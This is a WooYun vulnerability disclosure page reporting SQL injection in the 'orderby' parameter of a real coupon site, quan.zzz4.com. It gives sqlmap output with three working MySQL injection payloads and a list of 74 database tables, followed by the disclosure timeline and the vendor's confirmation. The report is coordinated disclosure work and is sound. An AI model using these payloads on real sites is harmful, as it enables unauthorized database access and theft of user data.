当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0159650

漏洞标题：株洲在线某站存在SQL注入漏洞

相关厂商：zzz4.com

漏洞作者： 路人甲

提交时间：2015-12-09 18:21

修复时间：2016-01-23 15:16

公开时间：2016-01-23 15:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-09： 细节已通知厂商并且等待厂商处理中
2015-12-10： 厂商已经确认，细节仅向厂商公开
2015-12-20： 细节向核心白帽子及相关领域专家公开
2015-12-30： 细节向普通白帽子公开
2016-01-09： 细节向实习白帽子公开
2016-01-23： 细节向公众公开

简要描述：

详细说明：

http://quan.zzz4.com/index.php?act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1&sort=asc

1.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=(SELECT (CASE WHEN (8351=8351) THEN 8351 ELSE 8351*(SELECT 8351 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=asc
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1 AND (SELECT 9926 FROM(SELECT COUNT(*),CONCAT(0x71786b7071,(SELECT (ELT(9926=9926,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&sort=asc
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1 AND (SELECT * FROM (SELECT(SLEEP(5)))mprY)&sort=asc
---
web application technology: Nginx, PHP 5.3.29
back-end DBMS: MySQL 5.0
Database: z4quan_db
[74 tables]
+------------------------+
| old_brand              |
| sq_activity            |
| sq_activity_member     |
| sq_admin               |
| sq_adv_position        |
| sq_appointment         |
| sq_area                |
| sq_area_bak            |
| sq_article             |
| sq_article_class       |
| sq_brand               |
| sq_card_member         |
| sq_card_record         |
| sq_circle              |
| sq_circle_affix        |
| sq_circle_class        |
| sq_circle_classgc      |
| sq_circle_explog       |
| sq_circle_expmember    |
| sq_circle_exptheme     |
| sq_circle_fs           |
| sq_circle_inform       |
| sq_circle_like         |
| sq_circle_mapply       |
| sq_circle_member       |
| sq_circle_ml           |
| sq_circle_mldefault    |
| sq_circle_mlref        |
| sq_circle_recycle      |
| sq_circle_thclass      |
| sq_circle_theme        |
| sq_circle_thg          |
| sq_circle_thpoll       |
| sq_circle_thpolloption |
| sq_circle_thpollvoter  |
| sq_circle_threply      |
| sq_comment             |
| sq_comment_pic         |
| sq_coupon              |
| sq_coupon_code         |
| sq_coupon_download     |
| sq_document            |
| sq_favorites           |
| sq_gift                |
| sq_gift_order          |
| sq_goods               |
| sq_groupbuy            |
| sq_groupbuy_remind     |
| sq_mb_ad               |
| sq_mb_category         |
| sq_mb_feedback         |
| sq_mb_home             |
| sq_mb_user_token       |
| sq_member              |
| sq_member_degree       |
| sq_member_more         |
| sq_navigation          |
| sq_order               |
| sq_order_pwd           |
| sq_payment             |
| sq_point_log           |
| sq_predeposit_charge   |
| sq_predeposit_log      |
| sq_refund              |
| sq_score_setting       |
| sq_seo                 |
| sq_setting             |
| sq_settle              |
| sq_store               |
| sq_store47             |
| sq_store_class         |
| sq_store_label         |
| sq_upload              |
| sq_xght                |
+------------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2015-12-10 10:56

厂商回复：

谢谢检测

最新状态：

暂无

漏洞评价：

评价